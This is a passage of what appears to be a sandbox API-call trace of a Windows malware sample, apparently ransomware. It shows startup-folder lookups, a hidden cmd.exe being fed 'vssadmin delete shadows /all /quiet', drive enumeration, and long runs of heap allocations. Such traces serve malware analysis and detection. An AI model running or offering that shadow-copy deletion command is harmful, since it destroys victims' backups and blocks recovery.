lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.999] ReadFile (in: hFile=0xe4, lpBuffer=0x1d80020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0031.999] CloseHandle (hObject=0xe8) returned 1 [0032.000] CloseHandle (hObject=0xe4) returned 1 [0032.000] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0032.000] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b5938 [0032.000] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0032.000] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b58e8 [0032.000] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0032.000] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0032.000] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0032.000] lstrlenW (lpString="kernel32.dll") returned 12 [0032.000] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b58e8 | out: hHeap=0x880000) returned 1 [0032.000] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.000] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5938 | out: hHeap=0x880000) returned 1 [0032.000] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x1d80020 | out: hHeap=0x880000) returned 1 [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8bb430 | out: hHeap=0x880000) returned 1 [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb438 | out: hHeap=0x880000) returned 1 [0032.004] lstrlenW (lpString="%windir%\\System32") returned 17 [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b69b0 | out: hHeap=0x880000) returned 1 [0032.004] lstrlenW (lpString="%appdata%") returned 9 [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8943a0 | out: hHeap=0x880000) returned 1 [0032.004] lstrlenW (lpString="%sh(Startup)%") returned 13 [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894378 | out: hHeap=0x880000) returned 1 [0032.004] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b69f8 | out: hHeap=0x880000) returned 1 [0032.004] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0032.004] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x894378 [0032.004] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894378, Size=0x40) returned 0x8b69f8 [0032.004] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b69f8, Size=0x80) returned 0x8db458 [0032.004] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0032.004] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x894378 [0032.004] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1fffc) returned 0x8bb430 [0032.004] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8dd440 [0032.004] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ed448 [0032.004] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0032.004] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8943a0 [0032.004] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8943a0, Size=0x40) returned 0x8b69f8 [0032.004] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b69f8, Size=0x80) returned 0x8db4e0 [0032.004] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db4e0, Size=0x100) returned 0x8b7bb8 [0032.004] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7bb8 | out: hHeap=0x880000) returned 1 [0032.004] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x8dd440, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ed448 | out: hHeap=0x880000) returned 1 [0032.004] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dd440 | out: hHeap=0x880000) returned 1 [0032.005] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0032.005] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0032.005] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0032.005] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0032.006] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x714, dwThreadId=0x704)) returned 1 [0032.020] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0032.020] WriteFile (in: hFile=0xec, lpBuffer=0x8db458*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x8db458*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0032.020] CloseHandle (hObject=0xfc) returned 1 [0032.020] CloseHandle (hObject=0xf8) returned 1 [0032.020] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8bb430 | out: hHeap=0x880000) returned 1 [0032.020] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0032.020] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db458 | out: hHeap=0x880000) returned 1 [0032.020] lstrlenW (lpString="%comspec%") returned 9 [0032.020] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894378 | out: hHeap=0x880000) returned 1 [0032.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0032.020] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4a38 [0032.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x8b4a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0032.021] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8947b0 [0032.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x8947b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0032.021] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a50 [0032.021] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a50, Size=0x20) returned 0x894378 [0032.021] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894378, Size=0x40) returned 0x8b69f8 [0032.021] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0032.021] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd0) returned 0x8b7c30 [0032.021] GetLogicalDrives () returned 0x4 [0032.021] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10014) returned 0x8bb430 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a50 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a50, Size=0x20) returned 0x894378 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894378, Size=0x40) returned 0x8b6a88 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6a88, Size=0x80) returned 0x8db458 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8b91a0 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b91a0, Size=0x200) returned 0x8b91a0 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b91a0, Size=0x400) returned 0x8b91a0 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b91a0, Size=0x800) returned 0x8b97b8 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b97b8, Size=0x1000) returned 0x8cb450 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x8dd440 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a50 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4b28 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894758 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4b40 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894768 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4b58 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894768, Size=0x8) returned 0x894768 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4b70 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894768, Size=0x10) returned 0x894720 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4b88 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4ba0 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894720, Size=0x20) returned 0x8b7ab8 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4bb8 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894768 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4bd0 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4be8 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b7ab8, Size=0x40) returned 0x8b52e0 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4c00 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4c18 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4c30 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b4c48 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4c60 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4c78 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b5328 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4c90 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b52e0, Size=0x80) returned 0x8b91a0 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4ca8 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4cc0 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4cd8 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4cf0 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b97d0 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b97e8 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9800 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894720 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9818 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9830 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9848 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9860 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9878 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9890 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b98a8 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b98c0 [0032.022] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b91a0, Size=0x100) returned 0x8b91a0 [0032.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b98d8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b98f0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9908 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b9920 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9938 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9950 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894730 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9968 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9980 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9998 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8b7ab8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b99b0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b99c8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b7ac8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b99e0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b99f8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9a10 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9a28 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9a40 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9a58 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b9a70 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9a88 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b9aa0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9ab8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9ad0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9ae8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9b00 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b7ad8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9b18 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9b30 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9b48 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9b60 [0032.023] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b91a0, Size=0x200) returned 0x8b91a0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9b78 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b52e0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9b90 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9bd0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9be8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9c00 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9c18 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9c30 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9c48 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9c60 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9c78 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9c90 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9ca8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9cc0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9cd8 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9cf0 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9d08 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9d20 [0032.023] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9d38 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9d50 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9d68 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9d80 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9d98 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b52f0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9db0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9dc8 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9de0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9fd0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9df8 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9e10 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9e28 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9e40 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9e58 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9e70 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9e88 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9ea0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9eb8 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9ed0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9ee8 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9f00 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9f18 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b9f30 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9f48 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9f60 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9f78 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b9f90 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc470 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc488 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc4a0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b9fe0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8b9ff0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc4b8 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc4d0 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc4e8 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc500 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc518 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cc530 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc548 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc560 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc578 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc590 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cc5a8 [0032.024] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc5c0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc5d8 [0032.025] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b91a0, Size=0x400) returned 0x8b91a0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc5f0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc608 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cc620 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc638 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc650 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc668 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cc680 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc698 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc6b0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc6c8 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8ba000 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc6e0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cc6f8 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc710 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc728 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc740 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc758 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8cc770 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc788 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc7a0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc7b8 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc7d0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc7e8 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc800 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc818 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc830 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8ba010 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc870 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc888 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc8a0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc8b8 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc8d0 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, 